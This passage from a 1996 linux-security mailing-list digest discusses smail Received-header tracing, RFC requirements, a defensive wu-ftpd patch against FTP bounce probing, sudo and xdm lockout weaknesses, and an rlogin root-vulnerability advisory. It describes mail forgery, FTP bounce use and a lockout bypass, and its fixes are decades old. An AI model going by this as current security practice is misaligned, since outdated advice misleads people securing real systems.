with $sender_proto }\ ${if def:ident_sender:[ident $ident_sender] by $ident_method }\ ${if def:sender_host {\n\t}}\ by $primary_name \ ${if def:sender_proto {with $sender_proto }}\ \n\t($version_string #$compile_num) \ id $message_id; $spool_date" > This means that if you can telnet to the SMTP port of a machine running > smail, you can effectively forge mail. Smail will hide your tracks from > the recipient of the message, who will need to get cooperation from the > system administrators of the smail system to do any more tracing. > I've never seen anyone post on comp.mail.smail asking for a fix for this or I would have posted it. > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? Look at 822. I doubt it requires the IP address or smail would probably have it by default. It always attempted to follow the RFC's pretty carefully, from the comments in the code. [Mod: I'm looking at 822 right now, and it's...well...interesting in this respect. From section 4.1: trace = return ; path to sender 1*received ; receipt tags ... received = "Received" ":" ; one per relay ["from" domain] ; sending host ["by" domain] ; receiving host ["via" atom] ; physical path *("with" atom) ; link/mail protocol ["id" msg-id] ; receiver msg id ["for" addr-spec] ; initial form Later: 4.3.2. RECEIVED A copy of this field is added by each transport service that relays the message. The information in the field can be quite useful for tracing transport problems. The names of the sending and receiving hosts and time-of- receipt may be specified. My reading of this is that the Received: header is required, but that any actual trace information it contains is optional. It appears that John is correct in his assertion; someone please correct me if I am wrong. --Jeff.] My new favorite mailer is Exim. It has similar config files to smail, but is much more efficient by design. - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 26 Jul 1996 15:07:41 -0400 Subject: Re: [linux-security] Alternative to NIS > [ To the moderators: This is drifting from linux security to linux ] > [ administration issues. Feel free to drop it from linux-security ] > [ if you think it unfit. --ben ] Well, it's hard to keep them separate. Good security depends first and foremost on good security policy and social engineering, and second on good system administration (which you might even consider part of the former); good utilities come a little later down the line. ;-) [REW: and a very important part of administration is the initial configuration that a system comes with! It should be usable, but not too open (examples: "+ +" in hosts.equiv, or "ps -auxww in /etc/inetd.conf").] Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 26 Jul 1996 15:00:37 -0400 Subject: Re: [linux-security] sendmail security > From: Richard Bullington > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? >From rfc822.txt: ... received = "Received" ":" ; one per relay ["from" domain] ; sending host ["by" domain] ; receiving host ["via" atom] ; physical path *("with" atom) ; link/mail protocol ["id" msg-id] ; receiver msg id ["for" addr-spec] ; initial form ";" date-time ; time received ... source = [ trace ] ; net traversals originator ; original mail [ resent ] ; forwarded ... trace = return ; path to sender 1*received ; receipt tags ... [translation: source contains o p t i o n a l trace, which contains one or more received, which is as above. not shown: source is a required field, and fields are required. -joe yao-] ... 4.3.2. RECEIVED A copy of this field is added by each transport service that relays the message. The information in the field can be quite useful for tracing transport problems. The names of the sending and receiving hosts and time-of- receipt may be specified. The "via" parameter may be used, to indicate what physical mechanism the message was sent over, such as Arpanet or Phonenet, and the "with" parameter may be used to indicate the mail-, or connection-, level protocol that was used, such as the SMTP mail protocol, or X.25 tran- sport protocol. Note: Several "with" parameters may be included, to fully specify the set of protocols that were used. Some transport services queue mail; the internal message iden- tifier that is assigned to the message may be noted, using the "id" parameter. When the sending host uses a destination address specification that the receiving host reinterprets, by expansion or transformation, the receiving host may wish to record the original specification, using the "for" parameter. For example, when a copy of mail is sent to the member of a distribution list, this parameter may be used to record the original address that was used to specify the list. ... Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: John Henders Date: Fri, 26 Jul 1996 15:44:53 -0700 (PDT) Subject: Re: [linux-security] sendmail security To moderator. I sent this yesterday but didn't see it on the list. On chacking I discovered I'd accidently wrapped the iuncluded text with my new text so it may have been rejected for unreadbility. Here is the message properly formatted. Richard Bullington writes: > Smail may not have CERT advisories put out, but people who write > mailbombing software are actively exploiting a weakness in the production > version (at least up to 3.1.29.1): it does not keep an IP address trail of > SMTP participants in the "Received:" line of the headers. > It does when configured correctly. You need a line like this in the config file. Notice the second if def: line. The problem is most smail setups are not configured correctly. This part of my config file came with the smail installation for SLS 1.0, and I believe it was supplied by Ian Kluft, though I modified it to add the ident field when I upgraded smail to use identd. Slackware gave smail a very bad name because it was never configured correctly. Debian does a much better job. # received_field="Received: \ ${if def:sender_host {from $sender_host }}\ ${if def:sender_host_addr {[$sender_host_addr] }}\ ${if def:sender_proto: with $sender_proto }\ ${if def:ident_sender:[ident $ident_sender] by $ident_method }\ ${if def:sender_host {\n\t}}\ by $primary_name \ ${if def:sender_proto {with $sender_proto }}\ \n\t($version_string #$compile_num) \ id $message_id; $spool_date" > This means that if you can telnet to the SMTP port of a machine running > smail, you can effectively forge mail. Smail will hide your tracks from > the recipient of the message, who will need to get cooperation from the > system administrators of the smail system to do any more tracing. I've never seen anyone post on comp.mail.smail asking for a fix for this or I would have posted it. > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? Look at 822. I doubt it requires the IP address or smail would probably have it by default. It always attempted to follow the RFC's pretty carefully, from the comments in the code. My new favorite mailer is Exim. It has similar config files to smail, but is much more efficient by design. - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: [email protected] (Richard Huveneers) Date: 27 Jul 1996 10:53:52 GMT Subject: Re: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) In article <[email protected]>, [email protected] (David Holland) writes: > > mount: mount, umount. > >I'm told there's a buffer overrun in mount, but I haven't looked at it >yet. Smbmount is reportedly also not particularly secure. I did a 'chmod u-s' on mount and umount a few months ago. As far as I can see, this only breaks the 'user' mount option. In short, if you only issue mount and umount as root, there no point in installing it suid root. [REW: Right: I only noticed the missing s-bits when I tried using mount as a normal user again after I had upgraded. If you don't need them you could leave the s-bits off. This is also the recommendation for all setuid tools that you have on your system. If you don't need them executed at all, or want to require root-privilidges, you can simply take the s-bits off.] Richard Huveneers. ------------------------------ From: [email protected] (Kai Henningsen) Date: 27 Jul 1996 10:36:00 +0200 Subject: Re: [linux-security] sendmail security [email protected] (Richard Bullington) wrote on 26.07.96 in : [REW: deleted stuff] I believe this is configurable, though I can't say how off the top of my head, and can't look it up right now. [REW: It is configurable, deleted some more.] Well, there's RFC 1123, Requirements for Internet Hosts -- Application and Support (which is mainly a clarification of earlier RFCs), which has: 5.2.8 DATA Command: RFC-821 Section 4.1.1 Every receiver-SMTP (not just one that "accepts a message for relaying or for final delivery" [SMTP:1]) MUST insert a "Received:" line at the beginning of a message. In this line, called a "time stamp line" in RFC-821: * The FROM field SHOULD contain both (1) the name of the source host as presented in the HELO command and (2) a domain literal containing the IP address of the source, determined from the TCP connection. [REW: deleted some more. If I'm not mistaken "SHOULD" is explained to mean the same as "MUST" in the RFC's.] No doubt the new mail RFCs the DRUMS working group is currently preparing (drums[-request]@cs.utk.edu) will include this stuff. MfG Kai ------------------------------ End of linux-security-digest V2 #42 *********************************** linux-security-digest/v02.n043100664 1767 1767 50476 6177601667 15473 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #43 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 31 July 1996 Volume 02 : Number 043 [linux-security] FTPd vulnerability and fix. Re: [linux-security] sendmail security Re: [linux-security] FTPd vulnerability and fix. [linux-security] Linux-kernel bugs in 2.0.x Re: [linux-security] FTPd vulnerability and fix. [linux-security] Re: SUDO problems [linux-security] Test squad results on group rights denial [linux-security] LSF Update#11: Vulnerability of rlogin ---------------------------------------------------------------------- From: [email protected] (Christopher Creutzig) Date: 27 Jul 1996 10:36:00 +0200 Subject: [linux-security] FTPd vulnerability and fix. On Thu, 25 Jul 1996, Rogier Wolff wrote: :> Good work. Do you have a little more time on your hands? May I ask :> you to look into one more "problem" that exists. You've almost :> seen the problem yourself already. I've already thought about the problem you address, but the problem is that I'm not very good at TCP/IP programming, so I don't know how to look up whether a different IP address is a "good" one, i.e. one for the same host. Anyway, I made up a quick patch to allow the thing you addressed, so here is a message you might send to the list: - -- Dear Netizens, I sent a patch to the list concerning ftp attacks we have been watching. People used our ftp server to send data to nameserver ports on other machines and to probe other hosts for daemons connected to ports <1024. While I was at it, I also tought it to accept /etc/ftponly as a non-/etc/shells-but-valid-login shell as proposed on this list already. Rogier Wolff asked whether I could also implement aomething to stop people from sending data to arbitrary hosts, so that wu-ftpd could be used on a firewall. The solution I implemented is not very neat, but anyway, these are the patches, starting from sunsite.unc.edu:/.../system/Network/file-transfer/wu-ftpd-2.4-fixed-tar.gz: - --8<-- diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx wu-ftpd-2.4-fixed-sec/src/config/config.lnx - --- wu-ftpd-2.4-fixed/src/config/config.lnx Sat Jun 3 17:30:59 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx Fri Jul 26 18:04:51 1996 @@ -13,10 +13,12 @@ #define OVERWRITE #undef REGEX #define SETPROCTITLE #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx.no-shadow wu-ftpd-2.4-fixed-sec/src/config/config.lnx.no-shadow - --- wu-ftpd-2.4-fixed/src/config/config.lnx.no-shadow Sat Jun 3 19:56:42 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx.no-shadow Fri Jul 26 18:04:51 1996 @@ -17,6 +17,8 @@ #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx.shadow wu-ftpd-2.4-fixed-sec/src/config/config.lnx.shadow - --- wu-ftpd-2.4-fixed/src/config/config.lnx.shadow Sat Jun 3 19:56:51 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx.shadow Fri Jul 26 18:04:52 1996 @@ -17,6 +17,8 @@ #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/ftpcmd.y wu-ftpd-2.4-fixed-sec/src/ftpcmd.y - --- wu-ftpd-2.4-fixed/src/ftpcmd.y Sat Jun 3 16:36:21 1995 +++ wu-ftpd-2.4-fixed-sec/src/ftpcmd.y Fri Jul 26 18:06:45 1996 @@ -95,6 +95,11 @@ char **ftpglob(); off_t restart_point; +#ifdef PARANOIA +extern struct sockaddr_in his_addr; +extern char remotehost[], remoteaddr[]; +#endif /* PARANOIA */ + extern char *strunames[]; extern char *typenames[]; extern char *modenames[]; @@ -712,6 +717,32 @@ a[0] = $1; a[1] = $3; a[2] = $5; a[3] = $7; p = (char *)&data_dest.sin_port; p[0] = $9; p[1] = $11; + /* just a little hacking defense: --ccr */ + /* perhaps we should also limit PORT commands to the connecting + site? --ccr */ +#ifdef PARANOIA + if(ntohs(data_dest.sin_port)<1025) + { + reply(421, "PORT command refused. This looks like hacking. Goodbye."); + /* We don't have remoteaddr etc. here. Therefore, we must log + without them. It shouldn't happen anyway. */ + syslog(LOG_NOTICE, + "PORT COMMAND REFUSED (low dest port %d) from %s [%s]", + ntohs(data_dest.sin_port), remotehost, remoteaddr); + dologout(0); + } +#ifdef EXTRA_PARANOIA + p = (char *)&his_addr.sin_addr; + if(a[0] != p[0] || a[1] != p[1] || a[2] != p[2] || a[3] != p[3]) + { + reply(421, "PORT command refused. Please use the address you are connecting from."); + syslog(LOG_NOTICE, + "PORT COMMAND REFUSED (bad address %d) from %s [%s]", + inet_ntoa(data_dest.sin_addr), remotehost, remoteaddr); + dologout(0); + } +#endif /* EXTRA_PARANOIA */ +#endif /* PARANOIA */ data_dest.sin_family = AF_INET; } ; diff -r -u wu-ftpd-2.4-fixed/src/ftpd.c wu-ftpd-2.4-fixed-sec/src/ftpd.c - --- wu-ftpd-2.4-fixed/src/ftpd.c Sat Jun 3 16:36:22 1995 +++ wu-ftpd-2.4-fixed-sec/src/ftpd.c Sat Jul 13 15:48:25 1996 @@ -697,6 +697,7 @@ * does not have a standard shell as returned by getusershell(). Disallow * anyone mentioned in the file _PATH_FTPUSERS to allow people such as root * and uucp to be avoided. */ +/* Apart from standard shells, allow /etc/ftponly as well. --ccr */ user(char *name) { register char *cp; @@ -721,7 +722,7 @@ if (logged_in) { if (anonymous || guest) { - - reply(530, "Can't change user from guest login."); + reply(530, "Can't change user from guest or limited login."); return; } end_login(); @@ -868,7 +869,8 @@ if (strcmp(cp, shell) == 0) break; endusershell(); - - if (cp == NULL || checkuser(name)) { + if ((cp == NULL && strcmp("/etc/ftponly", shell) != 0) + || checkuser(name)) { reply(530, "User %s access denied...", name); if (logging) syslog(LOG_NOTICE, [REW: Some mime-related mailing stuff messed up the message, including the patch. I tried reversing that, but probably messed up. If this is the case, Christopher, could you submit this directly to the list?] - -- Christopher Creutzig # Im Samtfelde 19 # D-33098 Paderborn # V+49-5251-71873 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # das ihr techniker immer das letzte wort haben m???t, wahrscheinlich seid ihr doch einfach nur frauen.. (Autorin bekannt) ------------------------------ From: [email protected] (Kai Henningsen) Date: 27 Jul 1996 23:08:00 +0200 Subject: Re: [linux-security] sendmail security [email protected] (Kai Henningsen) wrote on 27.07.96 in <[email protected]>: > * The FROM field SHOULD contain both (1) the name of the > source host as presented in the HELO command and (2) a > domain literal containing the IP address of the source, > determined from the TCP connection. > > [REW: deleted some more. If I'm not mistaken "SHOULD" is explained to > mean the same as "MUST" in the RFC's.] Very much nope: 1.3.2 Requirements In this document, the words that are used to define the significance of each particular requirement are capitalized. These words are: * "MUST" This word or the adjective "REQUIRED" means that the item is an absolute requirement of the specification. * "SHOULD" This word or the adjective "RECOMMENDED" means that there may exist valid reasons in particular circumstances to ignore this item, but the full implications should be understood and the case carefully weighed before choosing a different course. * "MAY" This word or the adjective "OPTIONAL" means that this item is truly optional. One vendor may choose to include the item because a particular marketplace requires it or because it enhances the product, for example; another vendor may omit the same item. An implementation is not compliant if it fails to satisfy one or more of the MUST requirements for the protocols it implements. An implementation that satisfies all the MUST and all the SHOULD requirements for its protocols is said to be "unconditionally compliant"; one that satisfies all the MUST requirements but not all the SHOULD requirements for its protocols is said to be "conditionally compliant". [REW: Ok. I stand corrected. Thanks. However, I'd consider receiving mail through an uucp from a host not having an IP address a "valid reason" not to mention the IP address. In the case of the SMTP protocol the other side not having an IP address seems highly unlikely.... :-) Conclusion: Smail can be configured to be non-compliant. This is the default configuration on some distributions. In my eyes the absense of a "valid reason" not implementing a SHOULD makes for a violation of the RFC.] MfG Kai ------------------------------ From: Douglas Song Date: Sun, 28 Jul 1996 12:16:14 -0400 (EDT) Subject: Re: [linux-security] FTPd vulnerability and fix. You might want to check out *Hobbit's excellent fix-kit for wu-ftpd, so you don't have to duplicate his work. I haven't had any problems with it. ftp://ftp.avian.org/src/fixkits/wu24.fix [REW: That's why it would be nice if improvements go back into the main source tree. To prevent this duplication of work.....] - --- Douglas Song dugsong@{umich.edu,monkey.org} University of Michigan ITD GPCC Unix Services www: http://www-personal.umich.edu/~dugsong keyid: C2263445 fingerprint: BF F5 20 EA DA 2F C4 F4 7D 68 4A 50 E4 35 D1 17 ------------------------------ From: [email protected] (Rogier Wolff) Date: Sun, 28 Jul 1996 10:52:19 +0200 (MET DST) Subject: [linux-security] Linux-kernel bugs in 2.0.x Someone asked wether there were any known bugs in the 2.0.x Linux kernel. Apart from TCP/IP bugs, I now know of only one. If you read from memory devices (kmem,mem,zero) or write to the console (/dev/tty?) no reschedules would take place. You could effectively hang a system that way. This has been fixed in 2.0.9. 2.0.10 is out already too. A presumably complete buglist with respect to networking stuff is at: http://www.uk.linux.org/NetNews.html Thanks go to Alan Cox for all of this info. Roger. ------------------------------ From: Michael Brennen Date: Mon, 29 Jul 1996 09:36:01 -0500 (CDT) Subject: Re: [linux-security] FTPd vulnerability and fix. On Sun, 28 Jul 1996, Douglas Song wrote: > You might want to check out *Hobbit's excellent fix-kit for wu-ftpd, so you > don't have to duplicate his work. I haven't had any problems with it. > > ftp://ftp.avian.org/src/fixkits/wu24.fix > > [REW: That's why it would be nice if improvements go back into the main > source tree. To prevent this duplication of work.....] Check out the beta below. I think you will find that many of Hobbit's and others' improvements have been worked into the source tree. -- Michael This is the location for the latest wu-ftpd. You can't see the directory contents, but get the file anyway. It's there. ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-11.tar.Z WU-FTPD FAQ: http://www.hvu.nl/~koos/wu-ftpd-faq.html guest howto: ftp://ftp.fni.com/pub/wu-ftpd/guest-howto There are additional security references in the above docs. ------------------------------ From: [email protected] (Wichert Akkerman) Date: Mon, 29 Jul 1996 14:45:49 +0200 (MDT) Subject: [linux-security] Re: SUDO problems Blue Wrote: > A bit of usage has shown me a possible security hole with SUDO. SUDO > allows multiple uses within a certain time period without reentering your > password to ensure that you are who you say. This is a feature. > However, if there is another terminal logged in, or logs in, during that > period, they can use SUDO without entering a passwd. SUDO asks for a > password to ensure that an unattended terminal isn't used to run programs > with root, and this allows that to be circumvented. New versions of sudo fixed this: they have a compile-time option to check the tty the user is using as well as the accountname. You'll still can't leave your terminal unattended though (which is never wise since physical access is total access). Grtz, Wichert. ------------------------------ From: [email protected] (Rogier Wolff) Date: Tue, 30 Jul 1996 09:27:53 +0200 (MET DST) Subject: [linux-security] Test squad results on group rights denial I've got several replies back from the test squad now. The question was: Can we find OSes where you cannot get less rights than "other" if you're in the group..... The test squad so far has access to the following OSes: Linux (Slackware 3.0) 2.0.9 Linux (Slackware 2.0 w/mods) 1.2.13 Linux (Slackware 2.3) 2.0.8 Linux (Slackware 3.0) 2.0.7 Linux (Slackware ??) 1.2.8 Linux (Debian 1.1) 2.0.8 Linux (RedHat 3.0.3) 2.0.0 Linux (Redhat ??) ???? Linux (custom) 2.0.8 Linux (???) 1.3.80, ext2fs AIX 2.3 BSDI 2.0 HPUX 9.05 HPUX 10.10 HPUX 10.01 Irix 5.3 Irix 6.2 OSF1 3.2 OSF1 3.2d SunOS 4.1.3 SunOS 4.1.4 Solaris 2.3 (SunOS 5.3) Solaris 2.4 (SunOS 5.4) Solaris 2.5 (SunOS 5.5) VMS 5.5-1 On most OSes it seems that you are able to revoke rights by putting someone in a group, and revoking group rights. I got reports about NOT being able to revoke "other" rights using the group bits for the following OSes: HPUX 10.01, Irix 5.3 and Linux 1.2.8. I verified HPUX versions 9.05 and 10.10 myself, and WAS able to revoke rights. Others have been able to do that for Linux and Irix. For Linux it might be filesystem dependent. Ext2fs will handle this properly. The test squad ran 30 tests, of which 3 turned out questionable. The original report from Daniel Roedding ([email protected]) that it didn't work on an old dynix system still stands. Roger. - -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 30 Jul 1996 18:11:00 -0400 Subject: [linux-security] LSF Update#11: Vulnerability of rlogin - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rlogin Vulnerability Tue Jul 30 17:51:57 EDT 1996 Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the rlogin program of NetKitB-0.6 This vulnerability affects several widely used Linux distributions, including RedHat Linux 2.0, 2.1 and derived systems including Caldera Network Desktop, Slackware 3.0 and others. This vulnerability is not limited to Linux or any other free UNIX systems. Both the information about this vulnerability and methods of its expolit were made available on the Internet. RISK ASSESMENT Local and remote users could gain super-user priviledges DISTRIBUTION FIXES Red Hat Commercial Linux Red Hat Linux version 2.0 and 2.1 contains vulnerable program unless NetKit-B-0.06-7.i386.rpm was installed. In order to fix the vulnerability install NetKit-B-0.06-7 rpm available from ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm Please verify the MD5 signature of the RPM prior to installing it. 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm Red Hat Linux version 3.0.3 (Picasso) does not contain vulnerable rlogin program. Caldera Network Desktop Version 1 of CND contains the vulnerable program unless NetKit-B-0.06-4c1.i386.rpm was installed. This RPM is available from ftp://ftp.caldera.com/pub/cnd-1.0/updates/NetKit-B-0.06-4c1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm Please verify the MD5 signature of RPM prior to installing it. aeb2da201477cd3280fdc09836395c35 NetKit-B-0.06-4c1.i386.rpm Version 1 of CND upgraded to RedHat Linux 3.0.3 (Picasso) does not contain a vulnerable program. Debian Debian Project did not either confirm or deny the vulnerability of Debian/GNU Linux 1.1. Debian/GNU Linux systems may be vulnerable if NetKit-B-0.6 is installed. Until the official fix-kit is available for Debian/GNU Linux, system administrators of Debian systems are advised to follow guidelines under Other Linux Distributions section. Slackware The Slackware Linux distribution Version 3.0 is confirmed to be vulnerable unless a NetKit newer than NetKit-B-0.6 is installed. Until the official fix-kit is available for Slackware 3.0, the system administrators are advised to follow the guidelines under Other Linux Distributions section. Yggdrasil Yggdrasil Computing's Plug & Play Linux Fall'95 contains vulnerable rlogin program. Adam J. Richter from Yggdrasil Computing made an unofficial fix-kit available at ftp.yggdrasil.com/pub/support/fall95/rlogin_fix/ We are unable to provide MD5 signature for the fix kit as we are unable to verify the integrity of the message. Other Linux Distributions System administrators of systems based on other Linux distributions or distributions that do not have official patch-kits available are advised to install newly released NetKit-B-0.7 available from ftp://ftp.uk.linux.org/pub/linux/Networking/base and ftp://sunsite.unc.edu/pub/Linux/Incoming CREDITS This LSF Update is based on the information provided by Alan Cox. The first patch for rlogin program was provided by Marc Ewing of Red Hat Software. Ron Holt of Caldera Inc provided fixed RPM for Caldera Network Desktop within 3 hours after the initial contact. Adam J. Richter provided unofficial information about the unofficial fix-kit for Yggdrasil Plug and Play Linux Fall'95. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMf6EsYxFUz2t8+6VAQFDVAQAloKbM00wdzNCwcyo9Wz8wJo54a+TwYN6 Xua/PFBnhunCpJy/T0BOO/Dh1IBE/mCu2FSNMK/bkRXel6Om9lEzjDHlyeUizeBI enIAOWQvNBf0e+/lHJXXtCSIWNeSfSysCaP98Y7F6bouZc14l1d/PJg7eSmWikFG HhgcRl6ZyHM= =hG1l - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #43 *********************************** linux-security-digest/v02.n044100664 1767 1767 4507 6202044603 15422 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #44 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 7 August 1996 Volume 02 : Number 044 [linux-security] Re: SUDO problems [linux-security] xdm sessions still work with bad shell. ---------------------------------------------------------------------- From: Jeremy Heffner Date: Tue, 30 Jul 1996 14:39:17 -0600 Subject: [linux-security] Re: SUDO problems [...snip...] >> However, if there is another terminal logged in, or logs in, during that >> period, they can use SUDO without entering a passwd. SUDO asks for a [...snip...] >New versions of sudo fixed this: they have a compile-time option to check >the tty the user is using as well as the accountname. You'll still can't [...snip...] There is also the #DEFINE to set the timeout value. If you are really paranoid, and dont favor using xlock, why not just set that to 0? - -jeremy - ------------------------------------------------------------------------- Jeremy Heffner | Televiso.com System Administration Finger for PGP public-key | My thoughts, my brains, noone else's - ------------------------------------------------------------------------- ------------------------------ From: [email protected] (Rogier Wolff) Date: Thu, 1 Aug 1996 20:10:37 +0200 (MET DST) Subject: [linux-security] xdm sessions still work with bad shell. I just found the following. It does exactly what -==I==-- want it to do, but I can also imagine that this is NOT what you want. I have a user with a "bad shell" (/bin/false). I cannot telnet, rlogin or FTP into the machine. However with a valid .xsession, I can login to xdm. With the Default RedHat fvwm config, I can then run xterms, which are started with "-e /bin/bash", so they don't look at the shell in /etc/passwd. rxvt is configured to use the shell in the password file so that it exits immediately. To lock a user out of a system it is not sufficient to give the user an invalid shell. If a user can get an xdm (X -query ) login screen, this is easily subverted. Roger. ------------------------------ End of linux-security-digest V2 #44 *********************************** linux-security-digest/v02.n045100664 1767 1767 46745 6204114302 15451 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #45 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 13 August 1996 Volume 02 : Number 045 [linux-security] A (possibly) crazy idea... Re: [linux-security] A (possibly) crazy idea... Re: [linux-security] sendmail security [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security [linux-security] Suggestion for Linux default fw policy [linux-security] Suggestion for Linux default fw policy (fwd) Re: [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security Re: [linux-security] sendmail security Re: [linux-security] Suggestion for Linux default fw policy [linux-security] Vulnerability in ALL linux distributions ---------------------------------------------------------------------- From: Jeff Barrow Date: Mon, 5 Aug 1996 23:13:44 -0500 (CDT) Subject: [linux-security] A (possibly) crazy idea... I had an idea.... What if I set up a linux box with mgetty+sendfax, with the auto-ppp patch installed, and for the normal login process used instead rlogin to connect to our main computer. (The ppp would use a diff. protocol for authentication). What security issues should I be aware of for this to work how I want it to? (which is for the dial-in users to enter thier password and be logged into the main system....) Thanks in advance, Jeff Barrow ------------------------------ From: Miquel van Smoorenburg Date: Wed, 7 Aug 1996 22:50:33 +0200 (MET DST) Subject: Re: [linux-security] A (possibly) crazy idea... You (Jeff Barrow) wrote: > I had an idea.... What if I set up a linux box with mgetty+sendfax, with > the auto-ppp patch installed, and for the normal login process used > instead rlogin to connect to our main computer. (The ppp would use a > diff. protocol for authentication). What security issues should I be > aware of for this to work how I want it to? (which is for the dial-in > users to enter thier password and be logged into the main system....) We've been doing this for a year and a half now and it works fine. You'll need a patched rlogin so that you can fake the loginname on the local side, then setup a suitable hosts.equiv on the remote side. Just do _not_ duplicate all accounts on the "terminal server" and the "main server". Then the terminal server will be safe. Mike. - -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) ------------------------------ From: Ian Jackson Date: Thu, 1 Aug 96 02:42 BST Subject: Re: [linux-security] sendmail security John Henders writes ("Re: [linux-security] sendmail security"): ... > Qmail is nice, but in defence of smail, I'd like to point out that smail > has had _one_ cert notice since they started doing cert advisories. ... > [REW: I don't believe that the number of CERT warnings is a measure > for security. [elided - iwj]] Smail (properly configured) has only ever had one known security hole, and that one was not exploitable from the network - you had to have an account on the system. The bug was that you could under some circumstances have debugging output sent to a file of your choosing even if you couldn't ordinarily write the file. NB that this hole was NOT exploitable by the DEBUG command available via Smail's SMTP server, as that doesn't allow a filename to be specified, and that it has nothing to do with prehistoric Sendmails' hideous DEBUG hole. Ian. 220 chiark.chu.cam.ac.uk Smail3.1.29.1 #35 ready at Thu, 1 Aug 96 02:40 BST debug 250 level 1. You think this is a security hole ? Please RTFM. quit 221 chiark.chu.cam.ac.uk closing connection ------------------------------ From: Algis Rudys Date: Fri, 9 Aug 1996 01:26:42 -0400 (EDT) Subject: [linux-security] TCP Wrappers Syslogging Hi all. I am using TCP Wrappers 7.4 by Wietse Venema. I am trying to get the wrappers to log both the Domain name and IP address to Syslog of all Incoming connections (currently only Names are logged.). Is this advisable; and if so, is there a patch available to indicate to me how I should go about doing this? [REW: That would be a very good idea. It would also be easy to implement.] Thank you. Algis Rudys - -- Algis Rudys [email protected] ------------------------------ From: Nathan Ramella Date: Thu, 8 Aug 1996 11:58:09 -0700 (PDT) Subject: Re: [linux-security] sendmail security >>Ian Jackson wrote: >>To: [email protected] >>Subject: Re: [linux-security] sendmail security >> >>John Henders writes ("Re: [linux-security] sendmail security"): >>... >>> Qmail is nice, but in defence of smail, I'd like to point out that smail >>> has had _one_ cert notice since they started doing cert advisories. >>... >>> [REW: I don't believe that the number of CERT warnings is a measure >>> for security. [elided - iwj]] >> >>Smail (properly configured) has only ever had one known security hole, >>and that one was not exploitable from the network - you had to have an >>account on the system. The bug was that you could under some >>circumstances have debugging output sent to a file of your choosing >>even if you couldn't ordinarily write the file. NB that this hole was >>NOT exploitable by the DEBUG command available via Smail's SMTP >>server, as that doesn't allow a filename to be specified, and that it >>has nothing to do with prehistoric Sendmails' hideous DEBUG hole. >> >>Ian. >> >>220 chiark.chu.cam.ac.uk Smail3.1.29.1 #35 ready at Thu, 1 